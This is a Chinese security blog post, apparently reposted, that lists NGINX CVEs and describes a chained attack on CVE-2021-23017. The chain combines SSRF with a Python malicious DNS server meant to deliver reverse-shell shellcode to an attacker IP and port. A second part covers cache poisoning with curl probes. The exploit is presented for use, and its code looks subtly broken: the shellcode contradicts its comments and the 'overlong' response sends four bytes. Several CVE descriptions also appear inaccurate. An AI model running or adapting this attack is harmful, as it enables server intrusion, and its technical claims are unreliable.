NGINX联合攻击链
2024-12-13 09:52:0 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

联合攻击链是一种分阶段的攻击方法,攻击中将多个漏洞或技术结合起来,每个阶段都为后续步骤创造条件,最终获取目标访问权限。
从打点到内网横向再到凭证窃取控制内网最终持久控制也可以说是宏观意义上的联合攻击链。但这里说的是其中的打点用到的联合攻击链。
大部分目标服务器都对外安装有NGINX容器,而NGINX从出来到现在也存在不少的漏洞。
这里列举一些NGINX存在的漏洞编号:
CVE-2013-2028
描述:NGINX 的内存处理错误可能会导致远程代码执行。此漏洞影响特定版本的 NGINX,主要与 NGINX 的 HTTP 响应处理有关。
影响版本:1.3.9 至 1.4.0。
危害级别:高
CVE-2017-7529
描述:NGINX 处理带有超长 Range 请求头时,可能导致整数溢出,进而引发缓冲区溢出或内存泄漏。攻击者可以利用该漏洞访问敏感信息。
影响版本:所有支持 Range 请求头的版本。
危害级别:中
CVE-2018-16843
描述:在 NGINX 的 HTTP/2 模块中,错误的流量控制可能导致内存使用异常,进而泄露敏感信息。
影响版本:1.9.5 至 1.15.5(启用了 HTTP/2 模块)。
危害级别:中
CVE-2018-16844
描述:NGINX 的 HTTP/2 模块处理多个窗口更新帧时可能导致内存泄漏,攻击者可以利用该漏洞耗尽服务器资源。
影响版本:1.9.5 至 1.15.5。
危害级别:中
CVE-2018-16845
描述:NGINX 在处理 HTTP/2 请求时,错误地允许过多的同时流,可能引发 DoS 攻击或信息泄露。
影响版本:1.9.5 至 1.15.5。
危害级别:中
CVE-2021-23017
描述:NGINX 在处理恶意构造的 DNS 响应时,可能触发堆栈溢出,导致拒绝服务(DoS)或潜在的远程代码执行。
影响版本:0.6.18 至 1.20.0。
危害级别:高
CVE-2019-20372
描述:NGINX 的 HTTP/2 模块在处理恶意的 HEADERS 帧时,可能导致拒绝服务(DoS)。
影响版本:1.9.5 至 1.16.1 和 1.17.0 至 1.17.5。
危害级别:中
CVE-2022-41741
 和 CVE-2022-41742
描述:NGINX 处理 ngx_http_mp4_module 模块的 MP4 文件时,可能会因为无效的 MP4 元数据触发拒绝服务(DoS)。
影响版本:使用 ngx_http_mp4_module 模块的版本。
危害级别:中
CVE-2016-1247
描述:NGINX 的默认安装可能会导致权限配置问题,攻击者可能利用该漏洞提升权限或获取系统访问权限。
影响版本:默认安装时存在漏洞,特别是在 Debian 系统上。
危害级别:中
CVE-2014-0133
描述:当 NGINX 与某些 OpenSSL 版本结合使用时,可能受到 OpenSSL 中的漏洞影响,导致攻击者窃取 SSL/TLS 会话密钥。
影响版本:依赖受影响 OpenSSL 版本的 NGINX。
危害级别:高
以CVE-2021-23017举例:
与SSRF漏洞结合触发RCE
    假设目标服务器架构存在SSRF漏洞。
    目标NGINX服务运行时配置了resolver
http {    resolver 8.8.8.8;    server {        listen 80;        location /api {            proxy_pass http://backend.internal;        }    }}
    利用SSRF漏洞来控制响应恶意DNS流量
GET /api?url=http://attack.dns.com HTTP/1.1Host: target.com
    恶意DNS服务器返回特质的超长响应数据,触发NGINX堆溢出。
    构造恶意DNS服务器
from dnslib import *from socket import socket, AF_INET, SOCK_DGRAM
# 替换为攻击者的 IP 和端口attacker_ip = "1.1.1.1"attacker_port = 23456
# 构造 shellcode: 执行反弹 Shelldef generate_shellcode(attacker_ip, attacker_port):    # 将 IP 转换为十进制格式    ip_bytes = b"".join([bytes([int(octet)]) for octet in attacker_ip.split(".")])    # 将端口转换为网络字节序(大端)    port_bytes = int(attacker_port).to_bytes(2"big")
    # shellcode: bash -i >& /dev/tcp/1.1.1.1/23456 0>&1    shellcode = (        b"\x48\x31\xc0"              # xor    rax, rax        b"\x50"                      # push   rax        b"\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"  # mov rbx, '/bin/bash'        b"\x53"                      # push   rbx        b"\x48\x89\xe7"              # mov    rdi, rsp        b"\x50"                      # push   rax        b"\x48\x89\xe6"              # mov    rsi, rsp        b"\x48\x31\xd2"              # xor    rdx, rdx        b"\x48\x31\xf6"              # xor    rsi, rsi        b"\x48\xbb\x2f\x64\x65\x76\x2f\x74\x63\x70"      # mov rbx, '/dev/tcp'        b"\x53"                      # push   rbx        b"\x48\x89\xe3"              # mov    rbx, rsp        b"\x68" + ip_bytes[:2]       # push   IP (前两个字节)        b"\x66\x68" + ip_bytes[2:]   # push   IP (后两个字节)        b"\x66\x68" + port_bytes     # push   Port        b"\x48\x89\xe1"              # mov    rcx, rsp        b"\xb0\x3b"                  # mov    al, 0x3b (execve syscall number for Linux x86_64)        b"\x0f\x05"                  # syscall    )    return shellcode
# 构造恶意的超长 DNS 响应def malicious_dns_response(data, addr, sock):    # 解析收到的 DNS 请求    request = DNSRecord.parse(data)    qname = request.q.qname    qtype = request.q.qtype
    # 构造响应头    response = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    # 生成反弹 Shell 的 shellcode    shellcode = generate_shellcode(attacker_ip, attacker_port)
    # 填充到超长的 A 记录中    payload = shellcode + b"A" * (500 - len(shellcode))  # 填充到 500 字节    if qtype == QTYPE.A:  # 如果请求的是 A 记录        response.add_answer(RR(qname, QTYPE.A, rdata=A(payload[:4])))  # 只返回超长数据的前 4 字节作为伪造的 IP
    # 发送恶意响应    sock.sendto(response.pack(), addr)
# 启动恶意 DNS 服务器def start_malicious_dns():    sock = socket(AF_INET, SOCK_DGRAM)    sock.bind(("0.0.0.0"53))  # 监听 53 端口    print(f"恶意 DNS 服务器正在运行,监听所有流量并返回反弹 Shell shellcode ({attacker_ip}:{attacker_port}) ...")    while True:        data, addr = sock.recvfrom(512)        malicious_dns_response(data, addr, sock)
if __name__ == "__main__":    start_malicious_dns()
    再利用堆溢出覆盖执行流执行恶意代码造成RCE。
与缓存中毒解析资源漏洞结合触发RCE
    注意:缓存中毒不能直接触发CVE-2021-23017,需要触发媒介,比如
    注册了对方配置的不存在的proxy_pass中的域名,再比如服务器主动解析污染的缓存图片资源域名。
    观察目标服务器确认是否启用缓存
curl -I https://target.com
    如果目标存在Cache-Control或者X-Cache或者其他可能存在Cache的头标签。就启用了缓存。
        另外的方法就是执行重复请求,判断返回时间是不是比前面更短。
        接着确定缓存点,比如请求路径,请求参数值,header头标签都有可能存在缓存点。
        判断缓存点的方法最有效的就是缓存点更改不同的值,通过响应时间来判断。
        在确定缓存点以后就是往缓存点注入恶意数据。
        比如路径或者路由是缓存点。(配置了动态目标地址的情况下)
curl -GET "http://target.com/attacker.com"
        再判断缓存点是否被污染,直接访问上面带恶意代码的点,再查看返回值中是否带恶意代码,不确定的情况下可以根据不同权限的账户去验证污染结果。如果触发了缓存污染,并且服务器正常解析该域名中的图片动作,就会触发NGINX堆溢出。(服务器远程加载图片存储在服务器上的情况下)
        
        

文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5NTY3NTMxMQ==&mid=2247484518&idx=1&sn=b10fc8d8846638b65961aada1a67590b&chksm=c00dfaa6f77a73b054191fa6c5a2fbc170d88c88e6c891e6efc106506a4230e6fe53f33eedcb&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh